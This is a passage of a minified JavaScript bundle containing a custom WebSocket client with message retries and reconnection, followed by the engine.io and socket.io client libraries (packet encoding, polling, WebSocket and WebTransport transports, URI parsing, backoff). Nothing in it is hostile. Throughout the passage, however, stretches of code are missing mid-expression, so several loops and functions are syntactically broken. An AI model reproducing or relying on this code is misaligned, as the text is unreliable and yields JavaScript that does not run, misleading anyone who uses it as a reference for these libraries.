o=JSON.parse(t);o.messageId=n,o.retries=0,o.timestamp||(o.timestamp=Date.now()),this.isConnected()?((s=this.ws)==null||s.send(JSON.stringify({...o})),this.pendingConfirmations.set(n,o)):(this.sendQueue.push(o),this.reconnectIfNeeded())}catch{console.error("Invalid message format. Must be a valid JSON string.");return}}flushSendQueue(){for(;this.sendQueue.length>0;){const t=this.sendQueue.shift();t&&this.send(t.data)}}startRetryPendingConfirmations(){this.messageTimeoutChecker&&clearInterval(this.messageTimeoutChecker),this.messageTimeoutChecker=window.setInterval(()=>{var t;for(const[n,s]of this.pendingConfirmations.entries()){if(s.retries>=(this.opts.maxMessageRetries||3)){console.error(`close ${n} all`),Gs().setLoading(!1),this.pendingConfirmations.delete(n);continue}console.log(`retry send message ${n}`),(t=this.ws)==null||t.send(JSON.stringify({...s})),s.retries++}},1e3)}stopRetryPendingConfirmations(){this.messageTimeoutChecker&&(clearInterval(this.messageTimeoutChecker),this.messageTimeoutChecker=null)}reconnectIfNeeded(){var t;((t=this.ws)==null?void 0:t.readyState)===WebSocket.CLOSED&&this.shouldReconnect()&&!this.isConnectingOrOpen()&&this.init()}isConnected(){var t;return((t=this.ws)==null?void 0:t.readyState)===WebSocket.OPEN}generateMessageId(){return`${Date.now()}-${Math.random().toString(36).substr(2,9)}`}on(t,n){this.listeners[t]||(this.listeners[t]=[]),this.listeners[t].push(n)}off(t){this.listeners[t]&&delete this.listeners[t]}emit(t,n){var s;(s=this.listeners[t])==null||s.forEach(o=>o(n))}setupVisibilityListener(){const t=()=>{document.visibilityState==="visible"&&(this.reconnectAttempts=0,this.isConnectingOrOpen()||this.init())};document.addEventListener("visibilitychange",t)}setupNetworkListener(){const t=()=>{this.reconnectAttempts=0,this.isConnectingOrOpen()||this.init()},n=()=>{};window.addEventListener("online",t),window.addEventListener("offline",n)}};function dx(e,t){const n=new hx(e,t);return{socket:n,send:n.send.bind(n),on:n.on.bind(n),off:n.off.bind(n)}}const Xn=Object.create(null);Xn.open="0";Xn.close="1";Xn.ping="2";Xn.pong="3";Xn.message="4";Xn.upgrade="5";Xn.noop="6";const ta=Object.create(null);Object.keys(Xn).forEach(e=>{ta[Xn[e]]=e});const su={type:"error",data:"parser error"},k_=typeof Blob=="function"||typeof Blob<"u"&&Object.prototype.toString.call(Blob)==="[object BlobConstructor]",D_=typeof ArrayBuffer=="function",M_=e=>typeof ArrayBuffer.isView=="function"?ArrayBuffer.isView(e):e&&e.buffer instanceof ArrayBuffer,tf=({type:e,data:t},n,s)=>k_&&t instanceof Blob?n?s(t):em(t,s):D_&&(t instanceof ArrayBuffer||M_(t))?n?s(t):em(new Blob([t]),s):s(Xn[e]+(t||"")),em=(e,t)=>{const n=new FileReader;return n.onload=function(){const s=n.result.split(",")[1];t("b"+(s||""))},n.readAsDataURL(e)};function tm(e){return e instanceof Uint8Array?e:e instanceof ArrayBuffer?new Uint8Array(e):new Uint8Array(e.buffer,e.byteOffset,e.byteLength)}let Oc;function px(e,t){if(k_&&e.data instanceof Blob)return e.data.arrayBuffer().then(tm).then(t);if(D_&&(e.data instanceof ArrayBuffer||M_(e.data)))return t(tm(e.data));tf(e,!1,n=>{Oc||(Oc=new TextEncoder),t(Oc.encode(n))})}const nm="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",Ei=typeof Uint8Array>"u"?[]:new Uint8Array(256);for(let e=0;e{let t=e.length*.75,n=e.length,s,o=0,a,c,u,h;e[e.length-1]==="="&&(t--,e[e.length-2]==="="&&t--);const d=new ArrayBuffer(t),m=new Uint8Array(d);for(s=0;s>4,m[o++]=(c&15)<<4|u>>2,m[o++]=(u&3)<<6|h&63;return d},gx=typeof ArrayBuffer=="function",nf=(e,t)=>{if(typeof e!="string")return{type:"message",data:F_(e,t)};const n=e.charAt(0);return n==="b"?{type:"message",data:_x(e.substring(1),t)}:ta[n]?e.length>1?{type:ta[n],data:e.substring(1)}:{type:ta[n]}:su},_x=(e,t)=>{if(gx){const n=mx(e);return F_(n,t)}else return{base64:!0,data:e}},F_=(e,t)=>{switch(t){case"blob":return e instanceof Blob?e:new Blob([e]);case"arraybuffer":default:return e instanceof ArrayBuffer?e:e.buffer}},U_=String.fromCharCode(30),yx=(e,t)=>{const n=e.length,s=new Array(n);let o=0;e.forEach((a,c)=>{tf(a,!1,u=>{s[c]=u,++o===n&&t(s.join(U_))})})},bx=(e,t)=>{const n=e.split(U_),s=[];for(let o=0;o{const s=n.length;let o;if(s<126)o=new Uint8Array(1),new DataView(o.buffer).setUint8(0,s);else if(s<65536){o=new Uint8Array(3);const a=new DataView(o.buffer);a.setUint8(0,126),a.setUint16(1,s)}else{o=new Uint8Array(9);const a=new DataView(o.buffer);a.setUint8(0,127),a.setBigUint64(1,BigInt(s))}e.data&&typeof e.data!="string"&&(o[0]|=128),t.enqueue(o),t.enqueue(n)})}})}let Rc;function Ho(e){return e.reduce((t,n)=>t+n.length,0)}function Vo(e,t){if(e[0].length===t)return e.shift();const n=new Uint8Array(t);let s=0;for(let o=0;oMath.pow(2,53-32)-1){u.enqueue(su);break}o=m*Math.pow(2,32)+d.getUint32(4),s=3}else{if(Ho(n)e){u.enqueue(su);break}}}})}const B_=4;function St(e){if(e)return wx(e)}function wx(e){for(var t in St.prototype)e[t]=St.prototype[t];return e}St.prototype.on=St.prototype.addEventListener=function(e,t){return this._callbacks=this._callbacks||{},(this._callbacks["$"+e]=this._callbacks["$"+e]||[]).push(t),this};St.prototype.once=function(e,t){function n(){this.off(e,n),t.apply(this,arguments)}return n.fn=t,this.on(e,n),this};St.prototype.off=St.prototype.removeListener=St.prototype.removeAllListeners=St.prototype.removeEventListener=function(e,t){if(this._callbacks=this._callbacks||{},arguments.length==0)return this._callbacks={},this;var n=this._callbacks["$"+e];if(!n)return this;if(arguments.length==1)return delete this._callbacks["$"+e],this;for(var s,o=0;otypeof Promise=="function"&&typeof Promise.resolve=="function"?t=>Promise.resolve().then(t):(t,n)=>n(t,0))(),Cn=(()=>typeof self<"u"?self:typeof window<"u"?window:Function("return this")())(),Sx="arraybuffer";function $_(e,...t){return t.reduce((n,s)=>(e.hasOwnProperty(s)&&(n[s]=e[s]),n),{})}const Tx=Cn.setTimeout,Ox=Cn.clearTimeout;function Wa(e,t){t.useNativeTimers?(e.setTimeoutFn=Tx.bind(Cn),e.clearTimeoutFn=Ox.bind(Cn)):(e.setTimeoutFn=Cn.setTimeout.bind(Cn),e.clearTimeoutFn=Cn.clearTimeout.bind(Cn))}const Rx=1.33;function Ax(e){return typeof e=="string"?Cx(e):Math.ceil((e.byteLength||e.size)*Rx)}function Cx(e){let t=0,n=0;for(let s=0,o=e.length;s=57344?n+=3:(s++,n+=4);return n}function W_(){return Date.now().toString(36).substring(3)+Math.random().toString(36).substring(2,5)}function xx(e){let t="";for(let n in e)e.hasOwnProperty(n)&&(t.length&&(t+="&"),t+=encodeURIComponent(n)+"="+encodeURIComponent(e[n]));return t}function Lx(e){let t={},n=e.split("&");for(let s=0,o=n.length;s{this.readyState="paused",t()};if(this._polling||!this.writable){let s=0;this._polling&&(s++,this.once("pollComplete",function(){--s||n()})),this.writable||(s++,this.once("drain",function(){--s||n()}))}else n()}_poll(){this._polling=!0,this.doPoll(),this.emitReserved("poll")}onData(t){const n=s=>{if(this.readyState==="opening"&&s.type==="open"&&this.onOpen(),s.type==="close")return this.onClose({description:"transport closed by the server"}),!1;this.onPacket(s)};bx(t,this.socket.binaryType).forEach(n),this.readyState!=="closed"&&(this._polling=!1,this.emitReserved("pollComplete"),this.readyState==="open"&&this._poll())}doClose(){const t=()=>{this.write([{type:"close"}])};this.readyState==="open"?t():this.once("open",t)}write(t){this.writable=!1,yx(t,n=>{this.doWrite(n,()=>{this.writable=!0,this.emitReserved("drain")})})}uri(){const t=this.opts.secure?"https":"http",n=this.query||{};return this.opts.timestampRequests!==!1&&(n[this.opts.timestampParam]=W_()),!this.supportsBinary&&!n.sid&&(n.b64=1),this.createUri(t,n)}}let H_=!1;try{H_=typeof XMLHttpRequest<"u"&&"withCredentials"in new XMLHttpRequest}catch{}const Px=H_;function kx(){}class Dx extends Nx{constructor(t){if(super(t),typeof location<"u"){const n=location.protocol==="https:";let s=location.port;s||(s=n?"443":"80"),this.xd=typeof location<"u"&&t.hostname!==location.hostname||s!==t.port}}doWrite(t,n){const s=this.request({method:"POST",data:t});s.on("success",n),s.on("error",(o,a)=>{this.onError("xhr post error",o,a)})}doPoll(){const t=this.request();t.on("data",this.onData.bind(this)),t.on("error",(n,s)=>{this.onError("xhr poll error",n,s)}),this.pollXhr=t}}let Us=class na extends St{constructor(t,n,s){super(),this.createRequest=t,Wa(this,s),this._opts=s,this._method=s.method||"GET",this._uri=n,this._data=s.data!==void 0?s.data:null,this._create()}_create(){var t;const n=$_(this._opts,"agent","pfx","key","passphrase","cert","ca","ciphers","rejectUnauthorized","autoUnref");n.xdomain=!!this._opts.xd;const s=this._xhr=this.createRequest(n);try{s.open(this._method,this._uri,!0);try{if(this._opts.extraHeaders){s.setDisableHeaderCheck&&s.setDisableHeaderCheck(!0);for(let o in this._opts.extraHeaders)this._opts.extraHeaders.hasOwnProperty(o)&&s.setRequestHeader(o,this._opts.extraHeaders[o])}}catch{}if(this._method==="POST")try{s.setRequestHeader("Content-type","text/plain;charset=UTF-8")}catch{}try{s.setRequestHeader("Accept","*/*")}catch{}(t=this._opts.cookieJar)===null||t===void 0||t.addCookies(s),"withCredentials"in s&&(s.withCredentials=this._opts.withCredentials),this._opts.requestTimeout&&(s.timeout=this._opts.requestTimeout),s.onreadystatechange=()=>{var o;s.readyState===3&&((o=this._opts.cookieJar)===null||o===void 0||o.parseCookies(s.getResponseHeader("set-cookie"))),s.readyState===4&&(s.status===200||s.status===1223?this._onLoad():this.setTimeoutFn(()=>{this._onError(typeof s.status=="number"?s.status:0)},0))},s.send(this._data)}catch(o){this.setTimeoutFn(()=>{this._onError(o)},0);return}typeof document<"u"&&(this._index=na.requestsCount++,na.requests[this._index]=this)}_onError(t){this.emitReserved("error",t,this._xhr),this._cleanup(!0)}_cleanup(t){if(!(typeof this._xhr>"u"||this._xhr===null)){if(this._xhr.onreadystatechange=kx,t)try{this._xhr.abort()}catch{}typeof document<"u"&&delete na.requests[this._index],this._xhr=null}}_onLoad(){const t=this._xhr.responseText;t!==null&&(this.emitReserved("data",t),this.emitReserved("success"),this._cleanup())}abort(){this._cleanup()}};Us.requestsCount=0;Us.requests={};if(typeof document<"u"){if(typeof attachEvent=="function")attachEvent("onunload",rm);else if(typeof addEventListener=="function"){const e="onpagehide"in Cn?"pagehide":"unload";addEventListener(e,rm,!1)}}function rm(){for(let e in Us.requests)Us.requests.hasOwnProperty(e)&&Us.requests[e].abort()}const Mx=function(){const e=V_({xdomain:!1});return e&&e.responseType!==null}();class Fx extends Dx{constructor(t){super(t);const n=t&&t.forceBase64;this.supportsBinary=Mx&&!n}request(t={}){return Object.assign(t,{xd:this.xd},this.opts),new Us(V_,this.uri(),t)}}function V_(e){const t=e.xdomain;try{if(typeof XMLHttpRequest<"u"&&(!t||Px))return new XMLHttpRequest}catch{}if(!t)try{return new Cn[["Active"].concat("Object").join("X")]("Microsoft.XMLHTTP")}catch{}}const q_=typeof navigator<"u"&&typeof navigator.product=="string"&&navigator.product.toLowerCase()==="reactnative";class Ux extends rf{get name(){return"websocket"}doOpen(){const t=this.uri(),n=this.opts.protocols,s=q_?{}:$_(this.opts,"agent","perMessageDeflate","pfx","key","passphrase","cert","ca","ciphers","rejectUnauthorized","localAddress","protocolVersion","origin","maxPayload","family","checkServerIdentity");this.opts.extraHeaders&&(s.headers=this.opts.extraHeaders);try{this.ws=this.createSocket(t,n,s)}catch(o){return this.emitReserved("error",o)}this.ws.binaryType=this.socket.binaryType,this.addEventListeners()}addEventListeners(){this.ws.onopen=()=>{this.opts.autoUnref&&this.ws._socket.unref(),this.onOpen()},this.ws.onclose=t=>this.onClose({description:"websocket connection closed",context:t}),this.ws.onmessage=t=>this.onData(t.data),this.ws.onerror=t=>this.onError("websocket error",t)}write(t){this.writable=!1;for(let n=0;n{try{this.doWrite(s,a)}catch{}o&&$a(()=>{this.writable=!0,this.emitReserved("drain")},this.setTimeoutFn)})}}doClose(){typeof this.ws<"u"&&(this.ws.onerror=()=>{},this.ws.close(),this.ws=null)}uri(){const t=this.opts.secure?"wss":"ws",n=this.query||{};return this.opts.timestampRequests&&(n[this.opts.timestampParam]=W_()),this.supportsBinary||(n.b64=1),this.createUri(t,n)}}const Ac=Cn.WebSocket||Cn.MozWebSocket;class Bx extends Ux{createSocket(t,n,s){return q_?new Ac(t,n,s):n?new Ac(t,n):new Ac(t)}doWrite(t,n){this.ws.send(n)}}class $x extends rf{get name(){return"webtransport"}doOpen(){try{this._transport=new WebTransport(this.createUri("https"),this.opts.transportOptions[this.name])}catch(t){return this.emitReserved("error",t)}this._transport.closed.then(()=>{this.onClose()}).catch(t=>{this.onError("webtransport error",t)}),this._transport.ready.then(()=>{this._transport.createBidirectionalStream().then(t=>{const n=Ex(Number.MAX_SAFE_INTEGER,this.socket.binaryType),s=t.readable.pipeThrough(n).getReader(),o=vx();o.readable.pipeTo(t.writable),this._writer=o.writable.getWriter();const a=()=>{s.read().then(({done:u,value:h})=>{u||(this.onPacket(h),a())}).catch(u=>{})};a();const c={type:"open"};this.query.sid&&(c.data=`{"sid":"${this.query.sid}"}`),this._writer.write(c).then(()=>this.onOpen())})})}write(t){this.writable=!1;for(let n=0;n{o&&$a(()=>{this.writable=!0,this.emitReserved("drain")},this.setTimeoutFn)})}}doClose(){var t;(t=this._transport)===null||t===void 0||t.close()}}const Wx={websocket:Bx,webtransport:$x,polling:Fx},Hx=/^(?:(?![^:@\/?#]+:[^:@\/]*@)(http|https|ws|wss):\/\/)?((?:(([^:@\/?#]*)(?::([^:@\/?#]*))?)?@)?((?:[a-f0-9]{0,4}:){2,7}[a-f0-9]{0,4}|[^:\/?#]*)(?::(\d*))?)(((\/(?:[^?#](?![^?#\/]*\.[^?#\/.]+(?:[?#]|$)))*\/?)?([^?#\/]*))(?:\?([^#]*))?(?:#(.*))?)/,Vx=["source","protocol","authority","userInfo","user","password","host","port","relative","path","directory","file","query","anchor"];function iu(e){if(e.length>8e3)throw"URI too long";const t=e,n=e.indexOf("["),s=e.indexOf("]");n!=-1&&s!=-1&&(e=e.substring(0,n)+e.substring(n,s).replace(/:/g,";")+e.substring(s,e.length));let o=Hx.exec(e||""),a={},c=14;for(;c--;)a[Vx[c]]=o[c]||"";return n!=-1&&s!=-1&&(a.source=t,a.host=a.host.substring(1,a.host.length-1).replace(/;/g,":"),a.authority=a.authority.replace("[","").replace("]","").replace(/;/g,":"),a.ipv6uri=!0),a.pathNames=qx(a,a.path),a.queryKey=Kx(a,a.query),a}function qx(e,t){const n=/\/{2,9}/g,s=t.replace(n,"/").split("/");return(t.slice(0,1)=="/"||t.length===0)&&s.splice(0,1),t.slice(-1)=="/"&&s.splice(s.length-1,1),s}function Kx(e,t){const n={};return t.replace(/(?:^|&)([^&=]*)=?([^&]*)/g,function(s,o,a){o&&(n[o]=a)}),n}const ou=typeof addEventListener=="function"&&typeof removeEventListener=="function",ra=[];ou&&addEventListener("offline",()=>{ra.forEach(e=>e())},!1);class Fr extends St{constructor(t,n){if(super(),this.binaryType=Sx,this.writeBuffer=[],this._prevBufferLen=0,this._pingInterval=-1,this._pingTimeout=-1,this._maxPayload=-1,this._pingTimeoutTime=1/0,t&&typeof t=="object"&&(n=t,t=null),t){const s=iu(t);n.hostname=s.host,n.secure=s.protocol==="https"||s.protocol==="wss",n.port=s.port,s.query&&(n.query=s.query)}else n.host&&(n.hostname=iu(n.host).host);Wa(this,n),this.secure=n.secure!=null?n.secure:typeof location<"u"&&location.protocol==="https:",n.hostname&&!n.port&&(n.port=this.secure?"443":"80"),this.hostname=n.hostname||(typeof location<"u"?location.hostname:"localhost"),this.port=n.port||(typeof location<"u"&&location.port?location.port:this.secure?"443":"80"),this.transports=[],this._transportsByName={},n.transports.forEach(s=>{const o=s.prototype.name;this.transports.push(o),this._transportsByName[o]=s}),this.opts=Object.assign({path:"/engine.io",agent:!1,withCredentials:!1,upgrade:!0,timestampParam:"t",rememberUpgrade:!1,addTrailingSlash:!0,rejectUnauthorized:!0,perMessageDeflate:{threshold:1024},transportOptions:{},closeOnBeforeunload:!1},n),this.opts.path=this.opts.path.replace(/\/$/,"")+(this.opts.addTrailingSlash?"/":""),typeof this.opts.query=="string"&&(this.opts.query=Lx(this.opts.query)),ou&&(this.opts.closeOnBeforeunload&&(this._beforeunloadEventListener=()=>{this.transport&&(this.transport.removeAllListeners(),this.transport.close())},addEventListener("beforeunload",this._beforeunloadEventListener,!1)),this.hostname!=="localhost"&&(this._offlineEventListener=()=>{this._onClose("transport close",{description:"network connection lost"})},ra.push(this._offlineEventListener))),this.opts.withCredentials&&(this._cookieJar=void 0),this._open()}createTransport(t){const n=Object.assign({},this.opts.query);n.EIO=B_,n.transport=t,this.id&&(n.sid=this.id);const s=Object.assign({},this.opts,{query:n,socket:this,hostname:this.hostname,secure:this.secure,port:this.port},this.opts.transportOptions[t]);return new this._transportsByName[t](s)}_open(){if(this.transports.length===0){this.setTimeoutFn(()=>{this.emitReserved("error","No transports available")},0);return}const t=this.opts.rememberUpgrade&&Fr.priorWebsocketSuccess&&this.transports.indexOf("websocket")!==-1?"websocket":this.transports[0];this.readyState="opening";const n=this.createTransport(t);n.open(),this.setTransport(n)}setTransport(t){this.transport&&this.transport.removeAllListeners(),this.transport=t,t.on("drain",this._onDrain.bind(this)).on("packet",this._onPacket.bind(this)).on("error",this._onError.bind(this)).on("close",n=>this._onClose("transport close",n))}onOpen(){this.readyState="open",Fr.priorWebsocketSuccess=this.transport.name==="websocket",this.emitReserved("open"),this.flush()}_onPacket(t){if(this.readyState==="opening"||this.readyState==="open"||this.readyState==="closing")switch(this.emitReserved("packet",t),this.emitReserved("heartbeat"),t.type){case"open":this.onHandshake(JSON.parse(t.data));break;case"ping":this._sendPacket("pong"),this.emitReserved("ping"),this.emitReserved("pong"),this._resetPingTimeout();break;case"error":const n=new Error("server error");n.code=t.data,this._onError(n);break;case"message":this.emitReserved("data",t.data),this.emitReserved("message",t.data);break}}onHandshake(t){this.emitReserved("handshake",t),this.id=t.sid,this.transport.query.sid=t.sid,this._pingInterval=t.pingInterval,this._pingTimeout=t.pingTimeout,this._maxPayload=t.maxPayload,this.onOpen(),this.readyState!=="closed"&&this._resetPingTimeout()}_resetPingTimeout(){this.clearTimeoutFn(this._pingTimeoutTimer);const t=this._pingInterval+this._pingTimeout;this._pingTimeoutTime=Date.now()+t,this._pingTimeoutTimer=this.setTimeoutFn(()=>{this._onClose("ping timeout")},t),this.opts.autoUnref&&this._pingTimeoutTimer.unref()}_onDrain(){this.writeBuffer.splice(0,this._prevBufferLen),this._prevBufferLen=0,this.writeBuffer.length===0?this.emitReserved("drain"):this.flush()}flush(){if(this.readyState!=="closed"&&this.transport.writable&&!this.upgrading&&this.writeBuffer.length){const t=this._getWritablePackets();this.transport.send(t),this._prevBufferLen=t.length,this.emitReserved("flush")}}_getWritablePackets(){if(!(this._maxPayload&&this.transport.name==="polling"&&this.writeBuffer.length>1))return this.writeBuffer;let n=1;for(let s=0;s0&&n>this._maxPayload)return this.writeBuffer.slice(0,s);n+=2}return this.writeBuffer}_hasPingExpired(){if(!this._pingTimeoutTime)return!0;const t=Date.now()>this._pingTimeoutTime;return t&&(this._pingTimeoutTime=0,$a(()=>{this._onClose("ping timeout")},this.setTimeoutFn)),t}write(t,n,s){return this._sendPacket("message",t,n,s),this}send(t,n,s){return this._sendPacket("message",t,n,s),this}_sendPacket(t,n,s,o){if(typeof n=="function"&&(o=n,n=void 0),typeof s=="function"&&(o=s,s=null),this.readyState==="closing"||this.readyState==="closed")return;s=s||{},s.compress=s.compress!==!1;const a={type:t,data:n,options:s};this.emitReserved("packetCreate",a),this.writeBuffer.push(a),o&&this.once("flush",o),this.flush()}close(){const t=()=>{this._onClose("forced close"),this.transport.close()},n=()=>{this.off("upgrade",n),this.off("upgradeError",n),t()},s=()=>{this.once("upgrade",n),this.once("upgradeError",n)};return(this.readyState==="opening"||this.readyState==="open")&&(this.readyState="closing",this.writeBuffer.length?this.once("drain",()=>{this.upgrading?s():t()}):this.upgrading?s():t()),this}_onError(t){if(Fr.priorWebsocketSuccess=!1,this.opts.tryAllTransports&&this.transports.length>1&&this.readyState==="opening")return this.transports.shift(),this._open();this.emitReserved("error",t),this._onClose("transport error",t)}_onClose(t,n){if(this.readyState==="opening"||this.readyState==="open"||this.readyState==="closing"){if(this.clearTimeoutFn(this._pingTimeoutTimer),this.transport.removeAllListeners("close"),this.transport.close(),this.transport.removeAllListeners(),ou&&(this._beforeunloadEventListener&&removeEventListener("beforeunload",this._beforeunloadEventListener,!1),this._offlineEventListener)){const s=ra.indexOf(this._offlineEventListener);s!==-1&&ra.splice(s,1)}this.readyState="closed",this.id=null,this.emitReserved("close",t,n),this.writeBuffer=[],this._prevBufferLen=0}}}Fr.protocol=B_;class zx extends Fr{constructor(){super(...arguments),this._upgrades=[]}onOpen(){if(super.onOpen(),this.readyState==="open"&&this.opts.upgrade)for(let t=0;t{s||(n.send([{type:"ping",data:"probe"}]),n.once("packet",g=>{if(!s)if(g.type==="pong"&&g.data==="probe"){if(this.upgrading=!0,this.emitReserved("upgrading",n),!n)return;Fr.priorWebsocketSuccess=n.name==="websocket",this.transport.pause(()=>{s||this.readyState!=="closed"&&(m(),this.setTransport(n),n.send([{type:"upgrade"}]),this.emitReserved("upgrade",n),n=null,this.upgrading=!1,this.flush())})}else{const w=new Error("probe error");w.transport=n.name,this.emitReserved("upgradeError",w)}}))};function a(){s||(s=!0,m(),n.close(),n=null)}const c=g=>{const w=new Error("probe error: "+g);w.transport=n.name,a(),this.emitReserved("upgradeError",w)};function u(){c("transport closed")}function h(){c("socket closed")}function d(g){n&&g.name!==n.name&&a()}const m=()=>{n.removeListener("open",o),n.removeListener("error",c),n.removeListener("close",u),this.off("close",h),this.off("upgrading",d)};n.once("open",o),n.once("error",c),n.once("close",u),this.once("close",h),this.once("upgrading",d),this._upgrades.indexOf("webtransport")!==-1&&t!=="webtransport"?this.setTimeoutFn(()=>{s||n.open()},200):n.open()}onHandshake(t){this._upgrades=this._filterUpgrades(t.upgrades),super.onHandshake(t)}_filterUpgrades(t){const n=[];for(let s=0;sWx[o]).filter(o=>!!o)),super(t,s)}};function jx(e,t="",n){let s=e;n=n||typeof location<"u"&&location,e==null&&(e=n.protocol+"//"+n.host),typeof e=="string"&&(e.charAt(0)==="/"&&(e.charAt(1)==="/"?e=n.protocol+e:e=n.host+e),/^(https?|wss?):\/\//.test(e)||(typeof n<"u"?e=n.protocol+"//"+e:e="https://"+e),s=iu(e)),s.port||(/^(http|ws)$/.test(s.protocol)?s.port="80":/^(http|ws)s$/.test(s.protocol)&&(s.port="443")),s.path=s.path||"/";const a=s.host.indexOf(":")!==-1?"["+s.host+"]":s.host;return s.id=s.protocol+"://"+a+":"+s.port+t,s.href=s.protocol+"://"+a+(n&&n.port===s.port?"":":"+s.port),s}const Yx=typeof ArrayBuffer=="function",Jx=e=>typeof ArrayBuffer.isView=="function"?ArrayBuffer.isView(e):e.buffer instanceof ArrayBuffer,K_=Object.prototype.toString,Xx=typeof Blob=="function"||typeof Blob<"u"&&K_.call(Blob)==="[object BlobConstructor]",Qx=typeof File=="function"||typeof File<"u"&&K_.call(File)==="[object FileConstructor]";function sf(e){return Yx&&(e instanceof ArrayBuffer||Jx(e))||Xx&&e instanceof Blob||Qx&&e instanceof File}function sa(e,t){if(!e||typeof e!="object")return!1;if(Array.isArray(e)){for(let n=0,s=e.length;n=0&&e.num{delete this.acks[t];for(let u=0;u{this.io.clearTimeoutFn(a),n.apply(this,u)};c.withError=!0,this.acks[t]=c}emitWithAck(t,...n){return new Promise((s,o)=>{const a=(c,u)=>c?o(c):s(u);a.withError=!0,n.push(a),this.emit(t,...n)})}_addToQueue(t){let n;typeof t[t.length-1]=="function"&&(n=t.pop());const s={id:this._queueSeq++,tryCount:0,pending:!1,args:t,flags:Object.assign({fromQueue:!0},this.flags)};t.push((o,...a)=>s!==this._queue[0]?void 0:(o!==null?s.tryCount>this._opts.retries&&(this._queue.shift(),n&&n(o)):(this._queue.shift(),n&&n(null,...a)),s.pending=!1,this._drainQueue())),this._queue.push(s),this._drainQueue()}_drainQueue(t=!1){if(!this.connected||this._queue.length===0)return;const n=this._queue[0];n.pending&&!t||(n.pending=!0,n.tryCount++,this.flags=n.flags,this.emit.apply(this,n.args))}packet(t){t.nsp=this.nsp,this.io._packet(t)}onopen(){typeof this.auth=="function"?this.auth(t=>{this._sendConnectPacket(t)}):this._sendConnectPacket(this.auth)}_sendConnectPacket(t){this.packet({type:$e.CONNECT,data:this._pid?Object.assign({pid:this._pid,offset:this._lastOffset},t):t})}onerror(t){this.connected||this.emitReserved("connect_error",t)}onclose(t,n){this.connected=!1,delete this.id,this.emitReserved("disconnect",t,n),this._clearAcks()}_clearAcks(){Object.keys(this.acks).forEach(t=>{if(!this.sendBuffer.some(s=>String(s.id)===t)){const s=this.acks[t];delete this.acks[t],s.withError&&s.call(this,new Error("socket has been disconnected"))}})}onpacket(t){if(t.nsp===this.nsp)switch(t.type){case $e.CONNECT:t.data&&t.data.sid?this.onconnect(t.data.sid,t.data.pid):this.emitReserved("connect_error",new Error("It seems you are trying to reach a Socket.IO server in v2.x with a v3.x client, but they are not compatible (more information here: https://socket.io/docs/v3/migrating-from-2-x-to-3-0/)"));break;case $e.EVENT:case $e.BINARY_EVENT:this.onevent(t);break;case $e.ACK:case $e.BINARY_ACK:this.onack(t);break;case $e.DISCONNECT:this.ondisconnect();break;case $e.CONNECT_ERROR:this.destroy();const s=new Error(t.data.message);s.data=t.data.data,this.emitReserved("connect_error",s);break}}onevent(t){const n=t.data||[];t.id!=null&&n.push(this.ack(t.id)),this.connected?this.emitEvent(n):this.receiveBuffer.push(Object.freeze(n))}emitEvent(t){if(this._anyListeners&&this._anyListeners.length){const n=this._anyListeners.slice();for(const s of n)s.apply(this,t)}super.emit.apply(this,t),this._pid&&t.length&&typeof t[t.length-1]=="string"&&(this._lastOffset=t[t.length-1])}ack(t){const n=this;let s=!1;return function(...o){s||(s=!0,n.packet({type:$e.ACK,id:t,data:o}))}}onack(t){const n=this.acks[t.id];typeof n=="function"&&(delete this.acks[t.id],n.withError&&t.data.unshift(null),n.apply(this,t.data))}onconnect(t,n){this.id=t,this.recovered=n&&this._pid===n,this._pid=n,this.connected=!0,this.emitBuffered(),this.emitReserved("connect"),this._drainQueue(!0)}emitBuffered(){this.receiveBuffer.forEach(t=>this.emitEvent(t)),this.receiveBuffer=[],this.sendBuffer.forEach(t=>{this.notifyOutgoingListeners(t),this.packet(t)}),this.sendBuffer=[]}ondisconnect(){this.destroy(),this.onclose("io server disconnect")}destroy(){this.subs&&(this.subs.forEach(t=>t()),this.subs=void 0),this.io._destroy(this)}disconnect(){return this.connected&&this.packet({type:$e.DISCONNECT}),this.destroy(),this.connected&&this.onclose("io client disconnect"),this}close(){return this.disconnect()}compress(t){return this.flags.compress=t,this}get volatile(){return this.flags.volatile=!0,this}timeout(t){return this.flags.timeout=t,this}onAny(t){return this._anyListeners=this._anyListeners||[],this._anyListeners.push(t),this}prependAny(t){return this._anyListeners=this._anyListeners||[],this._anyListeners.unshift(t),this}offAny(t){if(!this._anyListeners)return this;if(t){const n=this._anyListeners;for(let s=0;s0&&e.jitter<=1?e.jitter:0,this.attempts=0}Ys.prototype.duration=function(){var e=this.ms*Math.pow(this.factor,this.attempts++);if(this.jitter){var t=Math.random(),n=Math.floor(t*this.jitter*e);e=Math.floor(t*10)&1?e+n:e-n}return Math.min(e,this.max)|0};Ys.prototype.reset=function(){this.attempts=0};Ys.prototype.setMin=function(e){this.ms=e};Ys.prototype.setMax=function(e){this.max=e};Ys.prototype.setJitter=function(e){this.jitter=e};class cu extends St{constructor(t,n){var s;super(),this.nsps={},this.subs=[],t&&typeof t=="object"&&(n=t,t=void 0),n=n||{},n.path=n.path||"/socket.io",this.opts=n,Wa(this,n),this.reconnection(n.reconnection!==!1),this.reconnectionAttempts(n.reconnectionAttempts||1/0),this.reconnectionDelay(n.reconnectionDelay||1e3),this.reconnectionDelayMax(n.reconnectionDelayMax||5e3),this.randomizationFactor((s=n.randomizationFactor)!==null&&s!==void 0?s:.5),this.backoff=new Ys({min:this.reconnectionDelay(),max:this.reconnectionDelayMax(),jitter:this.randomizationFactor()}),this.timeout(n.timeout==null?2e4:n.timeout),this._readyState="closed",this.uri=t;const o=n.parser||iL;this.encoder=new o.Encoder,this.decoder=new o.Decoder,this._autoConnect=n.autoConnect!==!1,this._autoConnect&&this.open()}reconnection(t){return arguments.length?(this._reconnection=!!t,t||(this.skipReconnect=!0),this):this._reconnection}reconnectionAttempts(t){return t===void 0?this._reconnectionAttempts:(this._reconnectionAttempts=t,this)}reconnectionDelay(t){var n;return t===void 0?this._reconnectionDelay:(this._reconnectionDelay=t,(n=this.backoff)===null||n===void 0||n.setMin(t),this)}randomizationFactor(t){var n;return t===void 0?this._randomizationFactor:(this._randomizationFactor=t,(n=this.backoff)===null||n===void 0||n.setJitter(t),this)}reconnectionDelayMax(t){var n;return t===void 0?this._reconnectionDelayMax:(this._reconnectionDelayMax=t,(n=this.backoff)===null||n===void 0||n.setMax(t),this)}timeout(t){return arguments.length?(this._timeout=t,this):this._timeout}maybeReconnectOnOpen(){!this._reconnecting&&this._reconnection&&this.backoff.attempts===0&&this.reconnect()}open(t){if(~this._readyState.indexOf("open"))return this;this.engine=new Gx(this.uri,this.opts);const 